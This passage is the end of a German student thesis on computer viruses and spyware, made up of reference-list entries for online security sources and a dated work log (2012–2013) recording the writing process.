Variante im Umlauf – Viren und Trojaner entfernen - kostenlos. [Online] http://www.trojaner-board.de/115183-neue-verschluesselungs-trojaner-varianteumlauf.html [10.11.2012] [Töpfer/Huber] Töpfer, Hans-Joachim; Huber, Annja (19.04.2004) – Computerviren – Universität Augsburg Rechenzentrum [Online] http://www.rz.uni-augsburg.de/de/info/connect/1996-01/viren/index.html [25.12.2012] [Werz] Sascha Werz – Was ist Spyware – Computersicherheit ohne Fachchinesisch. [Online] http://www.securityinfo.ch/spyware.html [10.11.2012] [Wischnewski] Jörg Wischnewski – Was man über den Webserver wissen sollte – BuntesWeb.de – Information und Unterhaltung [Online] http://www.buntesweb.de/homepage-handbuch/upload-webserver.htm [25.12.2012] [Wohlgemuth] Heiko Wohlgemuth – Was ist,- und wie funktioniert Spyware – Virenschutz Informations Portal [Online] http://www.virenschutz.info/spyware.html [10.11.2012] Protokoll Seite 44 01.07.2012 Thema festgelegt 27.08.2012 Erste Literaturrecherche 28.08.2012 Mit dem Lesen von "Kübeck - Web-Sicherheit" begonnen 08.09.2012 Inhaltsverzeichnis zusammengestellt 08.09.2012 "Kübeck - Web-Sicherheit" fertig gelesen 13.09.2012 Weitere Literaturrecherche 15.09.2012 Weitere Literaturrecherche 20.09.2012 Weitere Bücher bestellt 20.09.2012 Disposition geschrieben 21.09.2012 Fertige Disposition 26.09.2012 Disposition an Landesschulrat geschickt 07.10.2012 Erste Seite geschrieben ("Was ist ein Virus?") 11.10.2012 Weitere Bücher bekommen und angefangen zu lesen 14.10.2012 Einleitung und weitere Textseiten geschrieben, Formatierung angepasst 02.11.2012 Verbesserung der ersten Arbeiten 03.11.2012 Weitere Textseiten verfasst (bis "Was ist Spyware/Adware") 11.11.2012 Erstes Kapitel fertig gestellt 21.12.2012 – 24.12.2013 Täglich weitere Textseiten verfasst 24.12.2013 Zweites Kapitel fertig gestellt 24.12.2013 – 02.01.2013 Täglich weitere Textseiten verfasst 02.01.2013 Fertigstellung der letzten zwei Kapitel und der unkorrigierten Arbeit 21.02.2013 Letzte Arbeiten (Korrektur und Abstract)